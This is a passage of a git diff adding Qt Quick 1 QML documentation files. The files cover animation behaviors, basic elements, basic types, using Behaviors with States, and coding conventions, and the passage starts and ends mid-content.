+\snippet doc/src/snippets/declarative/animation.qml wildcard animation
+
+\section2 Default Animation as Behaviors
+
+Default property animations are set using \e {behavior animations}. Animations
+declared in \l {Behavior} elements apply to the property and animates any
+property value changes. However, Behavior elements have an
+\c enabled property to purposely enable or disable the behavior animations.
+
+A ball component might have a behavior animation assigned to its \c x, \c y, and
+\c color properties. The behavior animation could be set up to simulate an
+elastic effect. In effect, this behavior animation would apply the elastic
+effect to the properties whenever the ball moves.
+
+\snippet doc/src/snippets/declarative/animation.qml behavior animation
+
+There are several methods of assigning behavior animations to properties. The
+\c{Behavior on <property>} declaration is a convenient way of assigning a
+behavior animation onto a property.
+
+See the \l {declarative/animation/behaviors}{Behaviors example} for a
+demonstration of behavioral animations.
+
+\section1 Playing Animations in Parallel or in Sequence
+
+Animations can run \e {in parallel} or \e {in sequence}. Parallel animations
+will play a group of animations at the same time while sequential animations
+play a group of animations in order: one after the other. Grouping animations in
+\l{SequentialAnimation} and \l{ParallelAnimation} will play the animations in
+sequence or in parallel.
+
+A banner component may have several icons or slogans to display, one after the
+other. The \c opacity property could transform to \c 1.0 denoting an opaque
+object. Using the \l{SequentialAnimation} element, the opacity animations will
+play after the preceding animation finishes. The \l{ParallelAnimation} element
+will play the animations at the same time.
+
+\snippet doc/src/snippets/declarative/animation.qml sequential animation
+
+Once individual animations are placed into a SequentialAnimation or
+ParallelAnimation, they can no longer be started and stopped independently. The
+sequential or parallel animation must be started and stopped as a group.
+
+The \l SequentialAnimation element is also useful for playing
+\l{qml-transition-animations}{transition animations} because animations are
+played in parallel inside transitions.
+
+See the \l {declarative/animation/basics}{Animation basics example} for a
+demonstration of creating and combining multiple animations in QML.
+
+\keyword qml-controlling-animations
+\section1 Controlling Animations
+
+There are different methods to control animations.
+
+\section2 Animation Playback
+All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not
+possible to create \l Animation objects; instead, this element provides the
+essential properties and methods for animation elements. Animation elements have
+\c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and
+\c{complete()} -- all of these methods control the execution of animations.
+
+\keyword qml-easing-animation
+\section2 Easing
+
+Easing curves define how the animation will interpolate between the start value
+and the end value. Different easing curves might go beyond the defined range of
+interpolation. The easing curves simplify the creation of animation effects such
+as bounce effects, acceleration, deceleration, and cyclical animations.
+
+A QML object may have different easing curve for each property animation. There
+are also different parameters to control the curve, some of which are exclusive
+to a particular curve. For more information about the easing curves, visit the
+\l {PropertyAnimation::easing.type}{easing} documentation.
+
+The \l{declarative/animation/easing}{easing example} visually demonstrates each
+of the different easing types.
+
+\section2 Other Animation Elements
+
+In addition, QML provides several other elements useful for animation:
+
+\list
+\o PauseAnimation: enables pauses during animations
+\o ScriptAction: allows JavaScript to be executed during an animation, and can
+be used together with StateChangeScript to reused existing scripts
+\o PropertyAction: changes a property \e immediately during an animation,
+without animating the property change
+\endlist
+
+These are specialized animation elements that animate different property types
+\list
+\o SmoothedAnimation: a specialized NumberAnimation that provides smooth
+changes in animation when the target value changes
+\o SpringAnimation: provides a spring-like animation with specialized
+attributes such as \l {SpringAnimation::}{mass},
+\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon}
+\o ParentAnimation: used for animating a parent change (see ParentChange)
+\o AnchorAnimation: used for animating an anchor change (see AnchorChanges)
+\endlist
+
+\section1 Sharing Animation Instances
+
+Sharing animation instances between Transitions or Behaviors is not
+supported, and may lead to undefined behavior. In the following example,
+changes to the Rectangle's position will most likely not be correctly animated.
+
+\qml
+Rectangle {
+ // NOT SUPPORTED: this will not work correctly as both Behaviors
+ // try to control a single animation instance
+ NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack }
+ Behavior on x { animation: anim }
+ Behavior on y { animation: anim }
+}
+\endqml
+
+The easiest fix is to repeat the NumberAnimation for both Behaviors. If the repeated
+animation is rather complex, you might also consider creating a custom animation
+component and assigning an instance to each Behavior, for example:
+
+\qml
+// MyNumberAnimation.qml
+NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack }
+\endqml
+
+\qml
+// main.qml
+Rectangle {
+ Behavior on x { MyNumberAnimation {} }
+ Behavior on y { MyNumberAnimation {} }
+}
+\endqml
+
+*/
+
+
+
+\snippet doc/src/snippets/declarative/animation-elements.qml color
+\snippet doc/src/snippets/declarative/animation-propertyvaluesource.qml 0
+\snippet doc/src/snippets/declarative/animation-signalhandler.qml 0
+\snippet doc/src/snippets/declarative/animation-standalone.qml 0
+
+\snippet doc/src/snippets/declarative/animation-transitions.qml 0
+\snippet doc/src/snippets/declarative/animation-groups.qml 0
+
+\snippet doc/src/snippets/declarative/animation-groups.qml 1
+\snippet doc/src/snippets/declarative/animation-groups.qml 0
+\image propanim.gif
+
diff --git a/doc/src/qtquick1/basicelements.qdoc b/doc/src/qtquick1/basicelements.qdoc
new file mode 100644
index 0000000000..0b43140426
--- /dev/null
+++ b/doc/src/qtquick1/basicelements.qdoc
@@ -0,0 +1,114 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlbasicelements.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage QML Features
+\nextpage {QML Basic Types}{Data Types}
+
+\title QML Basic Elements
+
+QML's basic elements allow the easy inclusion of objects into the
+scene.
+
+\section1 Basic Elements
+This is a list of some of the elements readily available for users.
+\list
+\o \l {Item}
+\o \l {Rectangle}
+\o \l {Image}
+\o \l {Text}
+\o \l {TextInput}
+\o \l {TextEdit}
+\o \l {FocusScope}
+\o \l {Component}
+\o \l {MouseArea}
+\endlist
+
+For a complete list of QML elements, please visit the \l {QML Elements} page.
+
+\section1 Properties and Qt Declarative Module
+
+When using QML elements, keep in mind that elements may possess properties that
+other elements also possess. This is because QML and its underlying engine is
+implemented in C++ using Qt. More importantly, the chain of property inheritance
+is directly due to QML's use of the \l {Qt Declarative Module} and Qt's
+\l {Meta-Object System}{meta-object} and \l {The Property System}{property} systems. For example, visual elements that have C++ implementation are sublcasses of
+\l {QDeclarativeItem}. As a result, elements such as \l {Rectangle} and
+\l {Text} elements inherit properties such as \c clip and \c smooth.
+
+\section1 Item Element
+
+Many QML elements inherit \l Item properties. \c Item possesses important properties
+such as \c focus, \c children, and dimension properties such as \c width and
+\c height. Although \c Item has physical properties, it is not a visual element.
+Using \c Item as the top-level QML element (as the screen) will not produce a
+visual result, use the \l {Rectangle} element instead. Use the \c Item to create
+opacity effects, such as when creating an invisible container to hold other
+components.
+
+\section1 Rectangle Element
+
+The \l Rectangle element is the basic visual element, for displaying different
+types of items onto the screen. The \c Rectangle is customizable and utilizes
+other elements such as \l Gradient and \l BorderImage for displaying advanced
+customized graphics.
+
+\section1 Image Element
+
+To insert an image into a QML scene, merely declare an \l Image element. The
+\c Image element can load images in formats supported by Qt.
+
+\section1 Text Elements
+
+The \l Text and \l TextEdit elements display formatted text onto the screen.
+\c TextEdit features multi-line editing while the \l TextInput element is for
+single line text input.
+
+\keyword qml-top-level-component
+\section1 Using Elements as the Top-Level Component
+
+For creating components (or displaying a simple scene), there are different
+elements that could be used as the top-level component. To display a simple scene,
+a \l Rectangle as the top-level component may suffice. \l Rectangle,
+\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of
+the commonly used elements as the top-level component.
+
+When importing components, the top-level component is important because the
+top-level component's properties are the only properties exposed to the parent.
+
+For example, a \c Button component may be implemented using different elements as
+its top-level component. When this component is loaded into another QML scene,
+the component will retain the top-level component's properties. If a non-visual
+component is the top-level component, the visual properties should be aliased to
+the top-level to display the component properly.
+
+For more information on how to build upon QML elements, see the
+\l{Importing Reusable Components} document.
+*/
diff --git a/doc/src/qtquick1/basictypes.qdoc b/doc/src/qtquick1/basictypes.qdoc
new file mode 100644
index 0000000000..1c412db143
--- /dev/null
+++ b/doc/src/qtquick1/basictypes.qdoc
@@ -0,0 +1,596 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativebasictypes.html
+ \ingroup qml-features
+ \contentspage QML Features
+ \previouspage {QML Basic Elements}
+ \nextpage Property Binding
+ \title QML Basic Types
+
+ QML has a set of primitive types, as listed below, that are used throughout
+ the \l {QML Elements}.
+
+ \annotatedlist qmlbasictypes
+
+ To create additional types, such as data types created in C++, read the
+ \l{Extending QML Functionalities using C++} article.
+*/
+
+/*!
+ \qmlbasictype int
+ \ingroup qmlbasictypes
+
+ \brief An integer is a whole number, e.g. 0, 10, or -20.
+
+ An integer is a whole number, e.g. 0, 10, or -20. The possible \c
+ int values range from around -2000000000 to around 2000000000,
+ although most elements will only accept a reduced range (which they
+ mention in their documentation).
+
+ Example:
+ \qml
+ Item { width: 100; height: 200 }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype bool
+ \ingroup qmlbasictypes
+
+ \brief A boolean is a binary true/false value.
+
+ A boolean is a binary true/false value.
+
+ Example:
+ \qml
+ Item { focus: true; clip: false }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype real
+ \ingroup qmlbasictypes
+
+ \brief A real number has a decimal point, e.g. 1.2 or -29.8.
+
+ A real number has a decimal point, e.g. 1.2 or -29.8.
+
+ Example:
+ \qml
+ Item { width: 100.45; height: 150.82 }
+ \endqml
+
+ \note In QML all reals are stored in single precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point}
+ format.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype double
+ \ingroup qmlbasictypes
+
+ \brief A double number has a decimal point and is stored in double precision.
+
+ A double number has a decimal point and is stored in double precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point}
+ format.
+
+ Example:
+ \qml
+ Item {
+ property double number: 32155.2355
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype string
+ \ingroup qmlbasictypes
+
+ \brief A string is a free form text in quotes, e.g. "Hello world!".
+
+ A string is a free form text in quotes, e.g. "Hello world!".
+
+ Example:
+ \qml
+ Text { text: "Hello world!" }
+ \endqml
+
+ Strings have a \c length attribute that holds the number of
+ characters in the string.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype url
+ \ingroup qmlbasictypes
+
+ \brief A URL is a resource locator, like a file name.
+
+ A URL is a resource locator, like a file name. It can be either
+ absolute, e.g. "http://qt.nokia.com", or relative, e.g.
+ "pics/logo.png". A relative URL is resolved relative to the URL of
+ the component where the URL is converted from a JavaScript string
+ expression to a url property value.
+
+ Example:
+ \qml
+ Image { source: "pics/logo.png" }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype color
+ \ingroup qmlbasictypes
+
+ \brief A color is a standard color name in quotes.
+
+ A color is a standard color name in quotes. It is normally specified
+ as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG
+ color name}. These names include colors like "red", "green" and
+ "lightsteelblue".
+
+ If the color you want isn't part of this list, colors can also be
+ specified in hexidecimal triplets or quads that take the form \c
+ "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color
+ red corresponds to a triplet of \c "#FF0000" and a slightly
+ transparent blue to a quad of \c "#800000FF".
+
+ Example:
+ \div{float-right}
+ \inlineimage declarative-colors.png
+ \enddiv
+ \snippet doc/src/snippets/declarative/colors.qml colors
+
+ Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
+ \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
+
+ \qml
+ Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype point
+ \ingroup qmlbasictypes
+
+ \brief A point type has x and y attributes.
+
+ A \c point type has \c x and \c y attributes.
+
+ To create a \c point value, specify it as a "x,y" string:
+
+ \qml
+ CustomObject { myPointProperty: "0,20" }
+ \endqml
+
+ Or use the \l{QML:Qt::point()}{Qt.point()} function:
+
+ \qml
+ CustomObject { myPointProperty: Qt.point(0, 20) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype size
+ \ingroup qmlbasictypes
+
+ \brief A size type has width and height attributes
+
+ A \c size type has \c width and \c height attributes.
+
+ For example, to read the \l {Image::sourceSize} \c size property:
+
+ \qml
+ Column {
+ Image { id: image; source: "logo.png" }
+ Text { text: image.sourceSize.width + "," + image.sourceSize.height }
+ }
+ \endqml
+
+ To create a \c size value, specify it as a "width x height" string:
+
+ \qml
+ LayoutItem { preferredSize: "150x50" }
+ \endqml
+
+ Or use the \l{QML:Qt::size()}{Qt.size()} function:
+
+ \qml
+ LayoutItem { preferredSize: Qt.size(150, 50) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype rect
+ \ingroup qmlbasictypes
+
+ \brief A rect type has x, y, width and height attributes.
+
+ A \c rect type has \c x, \c y, \c width and \c height attributes.
+
+ For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property:
+ \qml
+ Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ Rectangle { width: 100; height: 100 }
+ }
+ \endqml
+
+ To create a \c rect value, specify it as a "x, y, width x height" string:
+
+ \qml
+ CustomObject { myRectProperty: "50,50,100x100" }
+ \endqml
+
+ Or use the \l{QML:Qt::rect()}{Qt.rect()} function:
+
+ \qml
+ CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype date
+ \ingroup qmlbasictypes
+
+ \brief A date is specified as "YYYY-MM-DD".
+
+ To create a \c date value, specify it as a "YYYY-MM-DD" string:
+
+ Example:
+ \qml
+ MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" }
+ \endqml
+
+ To read a date value returned from a C++ extension class, use
+ \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype time
+ \ingroup qmlbasictypes
+
+ \brief A time is specified as "hh:mm:ss".
+
+ A time is specified as "hh:mm:ss".
+
+ Example:
+ \qml
+ MyTimePicker { time: "14:22:15" }
+ \endqml
+
+ To read a time value returned from a C++ extension class, use
+ \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+ \sa {QML Basic Types}
+ */
+
+/*!
+ \qmlbasictype font
+ \ingroup qmlbasictypes
+
+ \brief A font type has the properties of a QFont.
+
+ A font type has the properties of a QFont. The properties are:
+
+ \list
+ \o \c string font.family
+ \o \c bool font.bold
+ \o \c bool font.italic
+ \o \c bool font.underline
+ \o \c real font.pointSize
+ \o \c int font.pixelSize
+ \endlist
+
+ Example:
+ \qml
+ Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype action
+ \ingroup qmlbasictypes
+
+ \brief The action type has all the properties of QAction.
+
+ The action type has all the properties of QAction. The properties
+ are:
+
+ \list
+ \o \c slot action.trigger - invoke the action
+ \o \c bool action.enabled - true if the action is enabled
+ \o \c string action.text - the text associated with the action
+ \endlist
+
+ Actions are used like this:
+
+ \qml
+ Item {
+ MouseArea { onClicked: myaction.trigger() }
+ State { name: "enabled"; when: myaction.enabled == true }
+ Text { text: someaction.text }
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype list
+ \ingroup qmlbasictypes
+
+ \brief A list of objects.
+
+ A list type contains a list of objects. While not technically
+ a basic type, QML supports lists of object types. When used
+ from QML, the engine automatically appends each value to the list.
+ Items in the list can be accessed by index using the usual
+ \c listName[index] syntax.
+
+ For example, the \l Item class contains a list property named
+ children that can be used like this:
+
+ \qml
+ Item {
+ children: [
+ Item { id: child1 },
+ Rectangle { id: child2; width: 200 },
+ Text { id: child3 }
+ ]
+
+ Component.onCompleted: {
+ console.log("Width of child rectangle:", children[1].width)
+ }
+ }
+ \endqml
+ \c child1, \c child2 and \c child3 will be added to the children list
+ in the order in which they appear.
+
+ List \l {Property Binding}{properties} can be created as a
+ \c variant type, or as a \c list<Type> type, where \c Type is the
+ type of the object in the list:
+
+ \qml
+ Item {
+ property list<Rectangle> rects: [
+ Rectangle { width: 100; height: 100},
+ Rectangle { width: 200; height: 200}
+ ]
+ }
+ \endqml
+
+ A list property can only contain values that match (or are derived from) the
+ specified \c Type.
+
+ While the \c rects property can be reassigned to a different list value (including
+ an empty list), its individual values cannot be modified. See the \l variant type
+ documentation for details.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype variant
+ \ingroup qmlbasictypes
+
+ \brief A variant type is a generic property type.
+
+ A variant is a generic property type. A variant type property can hold
+ any of the \l {QML Basic Types}{basic type} values:
+
+ \qml
+ Item {
+ property variant aNumber: 100
+ property variant aString: "Hello world!"
+ property variant aBool: false
+ }
+ \endqml
+
+ A \c variant type property can also hold an image or pixmap.
+ A \c variant which contains a QPixmap or QImage is known as a
+ "scarce resource" and the declarative engine will attempt to
+ automatically release such resources after evaluation of any JavaScript
+ expression which requires one to be copied has completed.
+
+ Clients may explicitly release such a scarce resource by calling the
+ "destroy" method on the \c variant property from within JavaScript. They
+ may also explicitly preserve the scarce resource by calling the
+ "preserve" method on the \c variant property from within JavaScript.
+ For more information regarding the usage of a scarce resource, please
+ see \l{Scarce Resources in JavaScript}.
+
+ Finally, the \c variant type can also hold:
+
+ \list
+ \o An array of \l {QML Basic Types}{basic type} values
+ \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+ \endlist
+
+ For example, below is an \c items array and an \c attributes map. Their
+ contents can be examined using JavaScript \c for loops. Individual array
+ values are accessible by index, and individual map values are accessible
+ by key:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ for (var i=0; i<items.length; i++)
+ console.log(items[i])
+
+ for (var prop in attributes)
+ console.log(prop, "=", attributes[prop])
+ }
+ }
+ \endqml
+
+ While this is a convenient way to store array and map-type values, you
+ must be aware that the \c items and \c attributes properties above are \e not
+ QML objects (and certainly not JavaScript object either) and the key-value
+ pairs in \c attributes are \e not QML properties. Rather, the \c items
+ property holds an array of values, and \c attributes holds a set of key-value
+ pairs. Since they are stored as a set of values, instead of as an object,
+ their contents \e cannot be modified individually:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ items[0] = 10
+ console.log(items[0]) // This will still be '1'!
+ attributes.color = 'blue'
+ console.log(attributes.color) // This will still be 'red'!
+ }
+ }
+ \endqml
+
+ Additionally, since \c items and \c attributes are not QML objects, changing
+ their individual values do not trigger property change notifications. If
+ the above example had \c onNumberChanged or \c onAnimalChanged signal
+ handlers, they would not have been called. If, however, the \c items or
+ \c attributes properties themselves were reassigned to different values, then
+ such handlers would be called.
+
+ One way to "update" the contents of an array or map is to copy the property
+ to a JavaScript object, modify the copy as desired, and then reassign the
+ property to the updated copy. Note, however, that this is not efficient.
+ In the example below, which reassigns the \c attributes property, the \e entire
+ set of key-value pairs must be serialized and deserialized every time it is
+ copied between a JavaScript object and a QML property:
+
+ \qml
+ Item {
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ // Change the value of attributes.color to 'blue':
+ var temp = attributes // copy all values to 'temp'
+ temp.color = 'blue'
+ attributes = temp // copy all values back to 'attributes'
+ }
+ }
+ \endqml
+
+ Since this operation is inefficient, if a list or map should be modifiable,
+ it is better to use alternative approaches. For example, you could implement
+ a custom C++ list element, or write to a JavaScript object defined from
+ within a JavaScript file.
+
+ JavaScript programmers should also note that when a JavaScript object is
+ copied to an array or map property, the \e contents of the object (that is,
+ its key-value properties) are copied, rather than the object itself. The
+ property does not hold a reference to the original JavaScript object, and
+ extra data such as the object's JavaScript prototype chain is also lost in
+ the process.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype vector3d
+ \ingroup qmlbasictypes
+
+ \brief A vector3d type has x, y, and z attributes.
+
+ A \c vector3d type has \c x, \c y, and \c z attributes.
+
+ To create a \c vector3d value, specify it as a "x,y,z" string:
+
+ \qml
+ Rotation { angle: 60; axis: "0,1,0" }
+ \endqml
+
+ or with the \l{QML:Qt::vector3d()}{Qt.vector3d()} function:
+
+ \qml
+ Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) }
+ \endqml
+
+ or as separate \c x, \c y, and \c z components:
+
+ \qml
+ Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype enumeration
+ \ingroup qmlbasictypes
+
+ \brief An enumeration type consists of a set of named values.
+
+ An enumeration type consists of a set of named values.
+
+ An enumeration value may be specified as either a string:
+ \qml
+ Text { horizontalAlignment: "AlignRight" }
+ \endqml
+
+ or as \c {<Element>.<value>}:
+ \qml
+ Text { horizontalAlignment: Text.AlignRight }
+ \endqml
+
+ The second form is preferred.
+
+ \sa {QML Basic Types}
+*/
diff --git a/doc/src/qtquick1/behaviors-and-states.qdoc b/doc/src/qtquick1/behaviors-and-states.qdoc
new file mode 100644
index 0000000000..11f3480953
--- /dev/null
+++ b/doc/src/qtquick1/behaviors-and-states.qdoc
@@ -0,0 +1,206 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-behaviors-and-states.html
+\title Using QML Behaviors with States
+
+\section1 Using Behaviors with States
+
+In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior.
+
+Here's an example that shows the problem:
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: "red"
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ }
+ }
+}
+\endqml
+
+Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The
+problem occurs because we have used a Behavior to animate the change in color, and our state change is trigged by the mouse entering or exiting the MouseArea, which is easily interrupted.
+
+To state the problem more formally, using States and Behaviors together can cause unexpected behavior when:
+\list
+\o a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and
+\o this Behavior can be interrupted to (re-)enter an explicitly defined state.
+\endlist
+
+The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back
+to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form.
+
+While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem.
+
+1. Use a transition to animate the change, rather than a Behavior.
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: "red"
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ }
+
+ transitions: Transition {
+ ColorAnimation {}
+ }
+ }
+}
+\endqml
+
+2. Use a conditional binding to change the property value, rather than a state
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: mouser.containsMouse ? "green" : "red"
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+ }
+}
+\endqml
+
+3. Use only explicitly defined states, rather than an implicit base state
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: [
+ State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ },
+ State {
+ name: "RedState"
+ when: !mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "red"
+ }
+ }]
+ }
+}
+\endqml
+
+*/
diff --git a/doc/src/qtquick1/codingconventions.qdoc b/doc/src/qtquick1/codingconventions.qdoc
new file mode 100644
index 0000000000..8222ebce41
--- /dev/null
+++ b/doc/src/qtquick1/codingconventions.qdoc
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-coding-conventions.html
+\title QML Coding Conventions
+
+This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow.
+
+This page assumes that you are already familiar with the QML language.
+If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first.
+
+
+\section1 QML Objects
+
+Through our documentation and examples, QML objects are always structured in the following order:
+
+\list
+\o id
+\o property declarations
+\o signal declarations
+\o JavaScript functions
+\o object properties
+\o child objects
+\o states
+\o transitions
+\endlist
+
+For better readability, we separate these different parts with an empty line.
+
+
+For example, a hypothetical \e photo QML object would look like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0
+
+
+\section1 Grouped Properties
+
+If using multiple properties from a group of properties,
+we use the \e {group notation} rather than the \e {dot notation} to improve readability.
+
+For example, this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0
+
+can be written like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1
+
+
+\section1 Private Properties
+
+QML and JavaScript do not enforce private properties like C++. There is a need
+to hide these private properties, for example, when the properties are part of
+the implementation. As a convention, private properties begin with two
+\e underscore characters. For example, \c __area, is a property that is
+accessible but is not meant for public use. Note that QML and JavaScript will
+grant the user access to these properties.
+
+\snippet doc/src/snippets/declarative/codingconventions/private.qml 0
+
+
+\section1 Lists
+
+If a list contains only one element, we generally omit the square brackets.
+
+For example, it is very common for a component to only have one state.
+
+In this case, instead of:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0
+
+we will write this:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1
+
+
+\section1 JavaScript Code
+
+If the script is a single expression, we recommend writing it inline:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0
+
+If the script is only a couple of lines long, we generally use a block:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1
+
+If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this:
+
